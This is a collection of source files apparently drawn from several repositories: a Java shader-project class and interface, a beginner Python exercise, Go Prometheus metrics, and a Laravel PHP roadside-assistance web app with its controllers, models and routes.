import eu.yvka.slothengine.texture.TextureManager;
import eu.yvka.slothengine.utils.NameAlreadyInUseException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.xml.bind.annotation.XmlAnyAttribute;
import javax.xml.bind.annotation.XmlAttribute;
import javax.xml.bind.annotation.XmlList;
import javax.xml.bind.annotation.XmlRootElement;
import java.io.File;
import java.util.ArrayList;
import java.util.List;
/**
* @Author Yves Kaufmann
* @since 14.07.2016
*/
public class ProjectImpl implements Project {
String name;
File projectFolder;
private List<Material> materials = new ArrayList<>();
private List<Texture> textures = new ArrayList<>();
private Scene scene = new Scene();
@Override
public String getName() {
return name;
}
@Override
public void setName(String name) {
final File projectFolder = new File(AppFolder.getProjectsFolder(), name);
this.projectFolder = projectFolder;
this.name = name;
}
@Override
public File getProjectFolder() {
return projectFolder;
}
@Override
public Scene getScene() {
return scene;
}
@Override
public Material createMaterial(String name) throws NameAlreadyInUseException {
if (isMaterialNameInUse(name)) {
throw new NameAlreadyInUseException(name);
}
final Material material = new BasicMaterial();
material.setMaterialName(name);
materials.add(material);
return material;
}
@XmlList
@Override
public List<Material> getMaterials() {
return materials;
}
@Override
public Material getMaterial(String materialName) {
assert materialName != null;
for (Material material : materials) {
if ( materialName.equals(material.getMaterialName())) {
return material;
}
}
return null;
}
@Override
public Material removeMaterial(Material material) {
if (materials.contains(material)) {
materials.remove(material);
return material;
}
return null;
}
@Override
public Material removeMaterial(String materialName) {
final Material materialToRemove = getMaterial(materialName);
return removeMaterial(materialToRemove);
}
@Override
public Texture createTexture(String name) throws NameAlreadyInUseException {
if (isTextureNameInUse(name)) {
throw new NameAlreadyInUseException(name);
}
// TODO: allow image loading
// Allows it to create textures by passing a image
// final Texture texture = new TextureManager().createTexture();
return null;
}
@Override
public List<Texture> getTextures() {
return textures;
}
@Override
public Texture getTexture(String textureName) {
assert textureName != null;
for (Texture texture : textures) {
if ( textureName.equals(texture.getName())) {
return texture;
}
}
return null;
}
@Override
public Texture removeTexture(Texture texture) {
if (textures.contains(texture)) {
textures.remove(texture);
return texture;
}
return null;
}
@Override
public Texture removeTexture(String textureName) {
final Texture textureToRemove = getTexture(textureName);
return removeTexture(textureToRemove);
}
/******************************************************************************
*
* Internal Api
*
******************************************************************************/
private void ensureProjectNameIsUnused(File file) throws NameAlreadyInUseException {
if (file.exists() && file.isDirectory()) {
throw new NameAlreadyInUseException(file.getAbsolutePath());
}
}
private boolean isMaterialNameInUse(String name) {
for (Material material : materials) {
if (name.equals(material.getMaterialName())) return true;
}
return false;
}
private boolean isTextureNameInUse(String name) {
for (Texture texture : textures) {
if (name.equals(texture.getName())) return true;
}
return false;
}
}
```
Project.java
```package eu.yvka.shadersloth.app.project;
import eu.yvka.slothengine.material.Material;
import eu.yvka.slothengine.scene.Scene;
import eu.yvka.slothengine.texture.Texture;
import eu.yvka.slothengine.utils.NameAlreadyInUseException;
import java.io.File;
import java.util.List;
/**
* Interface of a shader sloth project.
*
* @Author Yves Kaufmann
* @since 14.07.2016
*/
public interface Project {
String getName();
void setName(String name);
File getProjectFolder();
Scene getScene();
Material createMaterial(String name) throws NameAlreadyInUseException;
List<Material> getMaterials();
Material getMaterial(String materialName);
Material removeMaterial(Material material);
Material removeMaterial(String materialName);
Texture createTexture(String name) throws NameAlreadyInUseException;
List<Texture> getTextures();
Texture getTexture(String materialName);
Texture removeTexture(Texture material);
Texture removeTexture(String materialName);
}
```
|
yvette-luong/first-repo
|
yvette-luong/first-repo
README.md
```# first-repo
My first repository on Github
```
data-types.py
```"""
Boolean = True or False
String = "Yvette"
Undefined = A value that is not defined
Integer = 132432
Camel Case = lower case first word and then capitalize each following word:
example: helloWorld
"""
"1231314"
Yvette = 123
Yvette
def helloYvette(): # this is a function, which is indicated by brackets
print("Hello my name is Yvette")
helloYvette() # calling the function
def helloAnyone(name): # accept a parameter
print(f"Hello my name is {name}")
helloAnyone("sjfajkhf") # sjfajkhf is an argument
def multiply(x, y):
return x * y
print(multiply(6, 2))
print("Hello this is print")
def add(a, b):
return a + b
print(add(4, 5))
```
|
yvlasenko/s3-sftp-proxy
|
yvlasenko/s3-sftp-proxy
metrics.go
```package main
import (
"github.com/prometheus/client_golang/prometheus"
"github.com/prometheus/client_golang/prometheus/promauto"
)
var (
mOperationStatus = promauto.NewCounterVec(prometheus.CounterOpts{
Name: "sftp_operation_status",
Help: "Represents SFTP operation statuses",
},
[]string{"method", "status"},
)
mAWSSessionError = promauto.NewCounter(prometheus.CounterOpts{
Name: "sftp_aws_session_error",
Help: "The total number of session errors",
},
)
mPermissionsError = promauto.NewCounterVec(prometheus.CounterOpts{
Name: "sftp_permissions_error",
Help: "The total number of permission errors",
},
[]string{"method"},
)
)
```
|
yvnsuarez/REIN
|
yvnsuarez/REIN
DashboardController.php
```<?php
namespace App\Http\Controllers\Web\Admin;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\DB;
use Lcobucci\JWT\Parser;
use Validator;
use App\Report;
use App\User;
use App\Feedbacks;
use App\Charts\ReportChart;
class HomeController extends Controller
{
public function index() {
//Admin Login View
return view('Admin.home');
}
public function login() {
return view('Admin.login');
}
public function dashboard(){
$pending = DB::table('reports')->where('status', 'Pending')->count();
$accepted = DB::table('reports')->where('status', 'Accepted')->count();
$ongoing = DB::table('reports')->where('status', 'Ongoing')->count();
$done = DB::table('reports')->where('status', 'Done')->count();
$repSuspended = DB::table('users')->where('Status', 'Suspended')->count();
$repPending = DB::table('users')->where('Status', 'Pending')->count();
$repActivated = DB::table('users')->where('Status', 'Activated')->count();
$repDeactivated = DB::table('users')->where('Status', 'Deactivated')->count();
$dead = DB::table('reports')->where('servicetype', 2)->count();
$flat = DB::table('reports')->where('servicetype', 1)->count();
$tow = DB::table('reports')->where('servicetype', 3)->count();
$sum = DB::table('reports')->where('status', 'Done')->sum('totalservice');
return view('admin.Home', ['pending' => $pending, 'accepted' => $accepted, 'ongoing' => $ongoing, 'done' => $done,
'repSuspended' => $repSuspended, 'repPending' => $repPending, 'repActivated' => $repActivated, 'repDeactivated' => $repDeactivated,
'flat' => $flat, 'dead' => $dead, 'tow' => $tow, 'sum' => $sum]);
}
public function ViewReports()
{
$details = Report::all(); //->where('UserTypeID', '=', 2)
if(count($details)> 0){
return view('admin/Reports', ['details' => $details]);
}else{
return response()->json("No Records Found");
}
}
public function ViewMotorists(){
$users = User::where('UserTypeId', '=', 3)->get(); //->where('UserTypeID', '=', 2)
return view ('admin.Motorists', compact('users'));
}
public function landing(){
return view('PartnerCompany.LandingPage');
}
public function partnerhome(){
return view('PartnerCompany.Home');
}
public function reports(){
$details = Report::all();
if(count($details)> 0){
return view('PartnerCompany/Reports', ['details' => $details]);
}else{
return response()->json("No Records Found");
}
}
public function assistants() {
$users = User::where('UserTypeID', '=', 2)->get();
return view ('PartnerCompany.Assistants', compact('users'));
}
public function feedbacks() {
$feedbacks = Feedbacks::all();
return view ('PartnerCompany.Feedbacks', compact('feedbacks'));
}
public function googleLineChart() {
$visitor = DB::table('visitor')
->select(
DB::raw("year(created_at) as year"),
DB::raw("SUM(click) as total_click"),
DB::raw("SUM(viewer) as total_viewer"))
->orderBy("created_at")
->groupBy(DB::raw("year(created_at)"))
->get();
$result[] = ['Year','Click','Viewer'];
foreach ($visitor as $key => $value) {
$result[++$key] = [$value->year, (int)$value->total_click, (int)$value->total_viewer];
}
return view('google-line-chart')
->with('visitor',json_encode($result));
}
}
```
Car.php
```<?php
namespace App;
use Laravel\Passport\HasApiTokens;
use Illuminate\Notifications\Notifiable;
use Illuminate\Database\Eloquent\Model;
class Car extends Model
{
//
public $timestamps = false;
protected $fillable =[
'userID','PlateNo','CarType','Color','Model','YearModel','Brand','Battery','Tire',
'DateCreated'
];
}
```
ReportsController.php
```<?php
namespace App\Http\Controllers\API;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Auth;
use LaravelFCM\Message\OptionsBuilder;
use LaravelFCM\Message\PayloadDataBuilder;
use LaravelFCM\Message\PayloadNotificationBuilder;
use FCM;
use App\Reports;
use App\Brand;
use App\Type;
use Validator;
use App\Payments;
class reportscontroller extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index()
{
//Report::all();
$report = Report::where("ID", request("ID"))->first();
return response()->json(["servicetype" => $report->servicetype, "addcharge" => $report->addcharge,
"status" => $report->status,"totalservice" => $report->totalservice],200);
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
$random = rand(1000,10000);
$inputall = $request->all();
$inputall['UniqueID'] = $random;
// dd($inputall);
$validator = Validator::make($inputall, [
'UniqueID' => 'unique:reports,UniqueID',
'partner',
'userID' => 'required',
'assistant',
'instruction',
'servicetype',
'image',
'Lat' ,
'Lon' ,
'comment',
'addcharge',
'totalservice' => 'required',
'status' => 'required',
'DateSubmitted',
'DateUpdated',
]);
if ($validator->fails()) {
return response()->json(['error'=>$validator->errors()], 401);
}
$report = Reports::create($inputall);
// dd($report);
$input2 = $request->only(['PaymentType','Status']);
// $input2['Status']=$input2['paymentStat'];
$input2['ReportID']= $inputall['UniqueID'];
// dd($input2);
$payment = Payments::create($input2);
return response()->json($report,200);
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show(Request $request)
{
if (Auth::check()) {
$results = Report::find($request);
return $results;
}
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request)
{
$validator = Validator::make($request->all(), [
'servicetype',
'addcharge',
'totalservice',
'status',
'DateUpdated',
]);
if ($validator->fails()) {
return response()->json(['error'=>$validator->errors()], 401);
}
$report = Report::where("ID", $request->ID)
->update([
"status" => $request->status,
"servicetype" => $request->servicetype,
"addcharge" => $request->addcharge,
"totalservice" => $request->totalservice]);
return response()->json($report, 200);
}
public function updateStatus(Request $request)
{
$report = Reports::where("ID", $request->ID)
->update([
"status"=>"Cancelled"]);
return response()->json($report, 200);
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function viewupdate(Request $request)
{
$report = Report::where("ID", $request->ID)->first();
return response()->json(["ID" => $report->ID,
"servicetype" => $report->servicetype,
"addcharge" => $report->addcharge,
"status" => $report->status,
"totalservice" => $report->totalservice,
"DateSubmitted" => $report->datesubmitted],200);
}
public function notification(Request $request){
$optionBuilder = new OptionsBuilder();
$optionBuilder->setTimeToLive(60*20);
$notificationBuilder = new PayloadNotificationBuilder('REIN APP');
$notificationBuilder->setBody('CONFIRMED')
->setSound('default');
$dataBuilder = new PayloadDataBuilder();
$dataBuilder->addData(['a_data' => 'my_data']);
$option = $optionBuilder->build();
$notification = $notificationBuilder->build();
$data = $dataBuilder->build();
$downstreamResponse = FCM::sendTo($request->token, $option, $notification, $data);
return response()->json(["numberSuccess"=>$downstreamResponse->numberSuccess(),"numberFailure"=>$downstreamResponse->numberFailure()],200);
// return Array (key:token, value:errror) - in production you should remove from your databas
}
public function car(Request $request)
{
//
$brand = Brand::all();
if ($brand){
return response()->json($brand, 200);
} else {
return response()->json(["SAD" => "No records found"], 500);
}
}
public function type(Request $request)
{
//
$brand = Type::all();
if ($brand){
return response()->json($brand, 200);
} else {
return response()->json(["SAD" => "No records found"], 500);
}
}
}
```
ReportsController.php
```<?php
namespace App\Http\Controllers\Web\PartnerCompany;
use App\Reports;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Auth;
use PDF;
class ReportsController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function __construct()
{
$this->middleware('auth:partner');
}
public function index()
{
$reports = Reports::all();
return view ('requests.index', compact('reports'));
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
//
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
//
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
$reports = Reports::find($id);
return view('requests.show', compact('reports'));
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit($id)
{
//
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
//
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
//
}
public function downloadpdf($id){
$reports = Reports::find($id);
$pdf = PDF::loadView('pdf', compact('reports'));
return $pdf->download('report.pdf');
}
}
```
FeedbacksController.php
```<?php
namespace App\Http\Controllers\Web\PartnerCompany;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\DB;
use App\Feedbacks;
use App\User;
use App\Reports;
use Auth;
class FeedbacksController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function __construct()
{
$this->middleware('auth:partner');
}
public function index()
{
$getpartner = Auth::user();
$partner = $getpartner->id;
$getreportpartner =['partner' => $partner];
$reports = Reports::where($getreportpartner)
->get()->first();
$feedbackreport = ['reportID' => $reports->ID];
//Display feedbacks based on transactions made by the logged in partner company
$feedbacks = DB::table('feedbacks')
->where('reportID', $feedbackreport)
->get();
return view ('Partner.Feedbacks', compact('feedbacks'));
}
function showFeedback($ID) {
$getpartner = Auth::user();
$partner = $getpartner->id;
$getreportpartner =['partner' => $partner];
$reports = Reports::where($getreportpartner)
->get()
->first();
$feedbackreport = ['reportID' => $reports->ID];
$getmotorist = ['id' => $reports->userID];
$motorist = User::where($getmotorist)
->get()
->first();
$getassistant = ['id' => $reports->assistant];
$assistant = User::where($getassistant)->get()->first();
$getreport = ['ID' => $feedbackreport];
$report = DB::table('reports')
->where($getreport)
->get()
->first();
$feedbacks = DB::table('feedbacks')
->where('ID',$ID)
->get()
->first();
return view('Partner.ShowFeedback', compact('feedbacks', 'motorist', 'report', 'assistant'));
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
//
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
//
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
$feedback = Feedbacks::find($id);
return view('feedbacks.show', compact('feedback'));
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit($id)
{
//
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
//
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
//
}
}
```
Reports.php
```<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Reports extends Model
{
protected $table = 'reports';
protected $primaryKey = 'id';
protected $fillable =[
'ID','partner', 'userID','assistant','instruction','servicetype','image', 'Lat','Lon',
'comment', 'addcharge', 'totalservice', 'totalservice', 'status', 'paymentstatus', 'created_at',
'updated_at', 'CarID', 'UniqueID'
];
public $timestamps = false;
public function user()
{
return $this->belongsTo('App\User', 'userID');
}
public function partner()
{
return $this->belongsTo('App\User', 'partner');
}
public function car(Request $request)
{
//
$brand = Brand::all();
if ($brand){
return response()->json($brand, 200);
} else {
return response()->json(["SAD" => "No records found"], 500);
}
}
public function type(Request $request)
{
//
$brand = Type::all();
if ($brand){
return response()->json($brand, 200);
} else {
return response()->json(["SAD" => "No records found"], 500);
}
}
}
```
Locations.php
```<?php
namespace REIN;
use Illuminate\Database\Eloquent\Model;
class Locations extends Model
{
//
protected $fillable =[
'LocationId','UserId','Lat','Lon'
];
}
```
user_typesController.php
```<?php
namespace App\Http\Controllers;
use App\Http\Controllers\Controller;
use App\user_types;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Validator;
use LaravelFCM\Message\OptionsBuilder;
use LaravelFCM\Message\PayloadDataBuilder;
use LaravelFCM\Message\PayloadNotificationBuilder;
use FCM;
class user_typesController extends Controller
{
public function index()
{
$records = user_types::all();
if (count($records) > 0) {
return user_types::all();
} else {
return response()->json("No records founds");
}
}
public function show(user_types $user_types)
{
return $user_types;
}
public function store(Request $request)
{
if (Auth::check()) {
$validator = Validator::make($request->all(), [
'type' => 'required|max:25|string',
]);
if ($validator->fails()) {
return response()->json(['error' => $validator->errors()], 401);
}
$input = $request->all();
$user_types = user_types::create($input);
return response()->json($user_types, 201);
} else {
return response()->json(['error' => 'Unauthorized'], 401);
}
}
}
```
ComplaintsController.php
```<?php
namespace App\Http\Controllers\Web\PartnerCompany;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use App\Complaints;
class ComplaintsController extends Controller
{
public function index() {
$complaints = Complaints::all(); //->where('UserTypeID', '=', 2)
return view ('partnerCompany.Complaints', compact('complaints'));
}
}
```
Cars.php
```<?php
namespace REIN;
use Illuminate\Database\Eloquent\Model;
class Cars extends Model
{
//
protected $fillable =[
'CarId','PlateNo','TypeID','Color','Model','YearModel','BrandID','Battery','Tire',
'DateCreated'
];
}
```
PartnerLoginController.php
```<?php
namespace App\Http\Controllers\Web\PartnerAuth;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Auth;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\DB;
class PartnerLoginController extends Controller
{
public function __construct()
{
$this->middleware('guest:partner', ['except' => ['partnerLogout']]);
}
public function showLoginform()
{
return view('partner-auth.partner-login');
}
public function login(Request $request)
{
$this->validate($request, [
'Email' => 'required',
'password' => 'required',
'g-recaptcha-response' => 'required|captcha',
]);
if (Auth::guard('partner')->attempt(['Email' => $request->Email,
'password' => $request->password, 'UserTypeID' => '4', 'Status' => 'Activated']))//, 'UserTypeID' => '4'
{
$getemail = ['Email' => $request->Email];
// $gettype = ['UserTypeID' => '4'];
$getid = DB::table('users')
->where($getemail)
->get()
->first();
DB::table('user_logs')
->insert(['UserID' => $getid->id, 'Type' => "Login", 'Description' => "Logged in successfully"]);
return redirect()->intended(route('partner.dashboard'));
}
else {
$errmsg = "Email or Password is Invalid";
return redirect()->back()->with('failure', $errmsg);
//return view('login/loginAdmin', compact('errmsg'));
}
}
public function partnerLogout()
{
// $getid = Auth::user();
DB::table('user_logs')
->insert(['UserID' => '2', 'Type' => "Logout", 'Description' => "Logged out successfully"]);
Auth::guard('partner')->logout();
return redirect('/partner/login')->with(Auth::logout());
}
}```
CarsController.php
```<?php
namespace app\Http\Controllers\API;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Auth;
use App\Car;
use Validator;
class CarsController extends Controller
{
public function index()
{
//
$records = Car::all();
if(count($records)> 0){
return Car::all();
}else{
return response()->json("No Records Found");
}
}
public function store(Request $request)
{
$validator = Validator::make($request->all(), [
'userID',
'PlateNo' => 'required',
'CarType' => 'required',
'Color' => 'required',
'Model' => 'required|max:100',
'YearModel' => 'required|max:100',
'Brand' => 'required|max:100',
'Battery' => 'required|max:100',
'Tire' => 'required|max:100',
'DateCreated',
]);
if ($validator->fails()) {
return response()->json(['error'=>$validator->errors()], 401);
}
$input = $request->all();
$cars = Car::create($input);
return response()->json($cars,200);
}
public function show(Request $request)
{
if (Auth::check()) {
$results = Car::find($request);
return $results;
}
}
}
```
UserController.php
```<?php
namespace app\Http\Controllers\API;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use App\User;
use Illuminate\Support\Facades\Auth;
use Validator;
use Mail;
use App\Reports;
use App\Car;
class UserController extends Controller
{
public $successStatus = 200;
/**
* login api
*
* @return \Illuminate\Http\Response
*/
public function login() {
$Credentials = ['Email' => request('Email'), 'password' => request('password'), 'Status' => 'Activated', 'UserTypeID' => request('UserTypeID')];
$authenticate = Auth::attempt($Credentials);
if ($authenticate) {
$accesstoken = request('accesstoken');
$user = Auth::user();
$usertype = request('UserTypeID');
if ($usertype == 2) {
$success['token'] = $user->createToken($accesstoken, ['assistant'])->accessToken;
}
else {
$success['token'] = $user->createToken($accesstoken, ['motorist'])->accessToken;
}
return response()->json(["id" => $user->id ,"token" => $success['token']], 200);
} else {
return response()->json(['error' => 'Email or Password is Invalid / Account is not Authenticated'], 401);
}
}
/**
* Register api
*
* @return \Illuminate\Http\Response
*/
public function register(Request $request)
{
$validator = Validator::make($request->all(), [
'UserTypeID' => 'required',
'CarID' ,
'LastName' => 'required' ,
'FirstName' => 'required',
'MobileNo',
'BirthDay' => 'required',
'Address' => 'required',
'City' => 'required',
'ZipCode' => 'required',
'Email' => 'required|email|unique:users,Email',
'password' => 'required|min:6',
'CPassword' => 'same:password',
'Status',
'DateCreated',
]);
if ($validator->fails()) {
return response()->json(array('Email'=>$validator->getmessageBag()->first()), 412);
}
$input = $request->all();
$input['password'] = bcrypt($input['password']);
$input['Status'] = "Pending";
$date = strtotime($input['BirthDay']);
$input['BirthDay'] = date('Y-m-d', $date);
$user = user::create($input);
$success['token'] = $user->createToken('Rein')->accessToken;
$this->html_email($input['Email']);
return response()->json(["id" => 200], 200);
}
/**
* details api
*
* @return \Illuminate\Http\Response
*/
public function ViewCar(Request $request)
{
$car = Car::where("userID", $request->userID)->get();
if($car)
{
return response()->json($car->all(),200);
}
else
{
return response()->json("ERROR",200);
}
}
public function details()
{
$user = Auth::user();
return response()->json(['success' => $user], $this-> successStatus);
}
public function send(Request $request){
$user = User::where('id',$request->id)->update(["token" => $request->token]);
if($user)
{
return response()->json(["Status" => "true"], 200);
}
else
{
return response()->json(["Status" => "false"], 401);
}
}
public function sendforget(Request $request)
{
$email = $request->Email;
$random = str_random(25);
$flight = User::where('Email', $email)->update(["code" => $random]);
Mail::send('forgetmail', ["data" => $request, "rand" => $random], function ($message) use ($email){
$message->to($email, $email)->subject
('Forget Password');
$message->from('rein.inquiry@gmail.com', 'REIN APP');
});
return response()->json(["Email"=>$email], 201);
}
public function html_email($email){
$random = str_random(8);
// dd($random);
$flight = User::where('Email', $email)->update(["code" => $random]);
// $flight->code = $random;
// $flight->save();
Mail::send('Mail', ["data" => $email, "rand" => $random], function($message) use ($email) {
$message->to($email,$email)->subject
('Verification');
$message->from('rein.inquiry@gmail.com','REIN APP');
});
return response()->json(["Email" => "Hello"], 201);
}
public function html_email1(Request $request){
$input = $request->all();
$email = $input['Email'];
Mail::send('Receipt', ["UniqueID" => $input['UniqueID'],"servicetype" => $input['servicetype'], "totalservice" => $input['totalservice']], function($message) use ($email) {
$message->to($email,$email)->subject
('Verification');
$message->from('rein.inquiry@gmail.com','REIN APP');
});
return response()->json(["Email" => "Sent"], 200);
}
public function getuni(Request $request){
$unique = Reports::select("UniqueID")->where("ID", $request->ID)->pluck("UniqueID");
if($unique)
{
return response()->json($unique->all(),200);
}
else
{
return response()->json("ERROR",200);
}
}
}```
ForgetController.php
```<?php
namespace App\Http\Controllers\Web;
use App\Http\Controllers\Controller;
use App\User;
use Illuminate\Http\Request;
use Validator;
class ForgetController extends Controller
{
public function index(Request $request)
{
$flight = User::where("code", $request->id)->get()->count();
if($flight == 0){
return abort(404);
}else{
return view('forgetpassword')->with('id', $request->id);
}
}
public function forgetpassword(Request $request){
$validator = Validator::make($request->all(),[
'Email' => 'required|email|exist:user,Email',
'Password' => 'required|string',
'CPass' => 'required|string|same:Password',
]);
if($validator->fails()){
return redirect()->back()->withErrors($validator->errors());
}
$flight = User::where('code', $request->id)
->where('Email', $request->Email)
->update(["password" => bcrypt($request->password),"code"=>null]);
return view('home');
}
}```
AddAssistantController.php
```<?php
namespace App\Http\Controllers\Web\PartnerCompany;
use App\User;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Auth;
class AddAssistantController extends Controller
{
//
public function index() {
return view ('partnerCompany.AddAssistant');
}
public function register(Request $request) {
$validator = Validator::make($request->all(), [
'FirstName' => 'required' ,
'LastName' => 'required' ,
'MobileNo' => 'required',
'Birthday' => 'required',
'Address' => 'required',
'City' => 'required',
'ZipCode' => 'required',
'Email' => 'required',
'password' => 'required|min:6',
'CPassword' => 'same:password',
'remember_token',
// 'Status',
// 'DateCreated'
]);
// if ($validator->fails()) {
// return response()->to(['error'=>$validator->errors()], 401);
// }
$input = $request->all();
$assistant = new User($input);
$assistant->Password = bcrypt($input['Password']);
//$user = users::create($input);
$assistant->UserTypeID = 3;
$assistant->Status = 'Not Verified';
if($assistant->save()){
return view('partnerCompany.Assistants');
} else {
return "{Error: failed insert}";
}
}
}
```
Images.php
```<?php
namespace REIN;
use Illuminate\Database\Eloquent\Model;
class Images extends Model
{
//
protected $fillable =[
'ImageId','ImageRef','Image','DateSubmitted'
];
}
```
User.php
```<?php
namespace App;
use Laravel\Passport\HasApiTokens;
use Illuminate\Notifications\Notifiable;
use Illuminate\Contracts\Auth\MustVerifyEmail;
use Illuminate\Foundation\Auth\User as Authenticatable;
class User extends Authenticatable implements MustVerifyEmail
{
use HasApiTokens, Notifiable;
/**
* The attributes that are mass assignable.
*
* @var array
*/
protected $fillable = [
'id', 'UserTypeID','FirstName','LastName', 'CarID', 'MobileNo','BirthDay','Address','City','ZipCode',
'BusinessName', 'BusinessRegistrationNo','LTFRBRegistrationNo',
'Email','password','Status', 'DateCreated',
];
public $timestamps = false;
/**
* The attributes that should be hidden for arrays.
*
* @var array
*/
protected $hidden = [
'password', 'remember_token','id'
];
}
```
web.php
```<?php
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
/* ADMIN REGISTRATION */
// Route::get('/admin/register', function(){
// if
// return view('Admin.Register');
// });
Route::get('/admin/register', 'Web\Admin\AdminRegisterController@index');
Route::post('/welcome', 'Web\Admin\AdminRegisterController@register');
// GUEST
Route::get('/', function(){
return view('landingPage');
});
// Route::get('/forgetpassword', function(){
// return view('forgetpassword');
// });
// Route::get('/forgotpassword/{id}', 'Web\ForgetController@index');
// Route::post('/forgotpassword/{id}', 'Web\ForgetController@forgetpassword');
Auth::Routes(['verify' => true]);
Route::prefix('admin')->group(function() {
Route::get('/login','Web\AdminAuth\AdminLoginController@showLoginForm')->name('admin.login');
Route::post('/login','Web\AdminAuth\AdminLoginController@login')->name('admin.login.submit');
Route::get('/logout', 'Web\AdminAuth\AdminLoginController@adminLogout')->name('admin.logout');
// Route::post('/password/email','Web\AdminAuth\ForgotPasswordController@sendResetLinkEmail')->name('admin.password.email');
Route::get('/home', 'Web\AdminController@index')->name('admin.home');
Route::get('/dashboard', 'Web\AdminController@index')->name('admin.dashboard');
Route::post('/home/filtered', 'Web\AdminController@daterange');
Route::post('/dashboard/filtered', 'Web\AdminController@daterange');
Route::resource('/partners', 'Web\Admin\PartnerController');
Route::resource('/motorists', 'Web\Admin\MotoristsController');
Route::get('/transactionlogs', 'Web\Admin\TransactionLogsController@index');
Route::get('/transactionlogs/{id}', 'Web\Admin\TransactionLogsController@showTransaction');
Route::get('/transactionlogs/downloadSingleTransaction/{id}', 'Web\Admin\TransactionLogsController@singleTransactionPDF');
Route::post('/transactionlogs/downloadFullTransaction', 'Web\Admin\TransactionLogsController@fulltransactionPDF');
Route::get('/useractivity', 'Web\Admin\UserActivityController@index')->name('admin.useractivity');
Route::get('/useractivity/{ID}', 'Web\Admin\UserActivityController@showUserActivity');
Route::post('/useractivity/filtered', 'Web\Admin\UserActivityController@daterange');
Route::resource('/adminfunction', 'Web\Admin\AdminFunctionController');
});
Route::prefix('partner')->group(function() {
// Route::get('/verify/{id}', 'API\MailController@verify');
Route::get('/login','Web\PartnerAuth\PartnerLoginController@showLoginForm')->name('partner.login');
Route::post('/login','Web\PartnerAuth\PartnerLoginController@login')->name('partner.login.submit');
Route::get('/logout', 'Web\PartnerAuth\PartnerLoginController@partnerLogout')->name('partner.logout');
// Route::post('/password/email','Web\PartnerAuth\ForgotPasswordController@sendResetLinkEmail')->name('partner.password.email');
// Route::get('/password/reset','Web\PartnerAuth\ForgotPasswordController@showLinkRequestForm')->name('partner.password.request');
// Route::post('/password/reset','Web\PartnerAuth\ResetPasswordController@reset');
// Route::get('/password/reset/{token}','Web\PartnerAuth\ResetPasswordController@showResetForm')->name('partner.password.reset');
Route::get('/home', 'Web\PartnerController@index')->name('partner.home');
Route::get('/dashboard', 'Web\PartnerController@index')->name('partner.dashboard');
Route::post('/home/filtered', 'Web\PartnerController@daterange');
Route::post('/dashboard/filtered', 'Web\PartnerController@daterange');
// Route::resource('/requests', 'Web\PartnerCompany\RequestsController@index');
Route::get('/requests', 'Web\PartnerCompany\RequestsController@index')->name('partner.requests');
Route::get('/requests/{id}/accept', 'Web\PartnerCompany\RequestsController@showaccept');
Route::post('/requests/{id}/accepted', 'Web\PartnerCompany\RequestsController@accept');
Route::get('/requests/{id}/assign', 'Web\PartnerCompany\RequestsController@showassign');
Route::post('/requests/{id}/assigned', 'Web\PartnerCompany\RequestsController@assign');
Route::get('/requests/{id}/decline', 'Web\PartnerCompany\RequestsController@showdecline');
Route::post('/requests/{id}/declined', 'Web\PartnerCompany\RequestsController@decline');
Route::resource('/assistants', 'Web\PartnerCompany\AssistantsController');
Route::get('/transactionlogs', 'Web\PartnerCompany\TransactionLogsController@index');
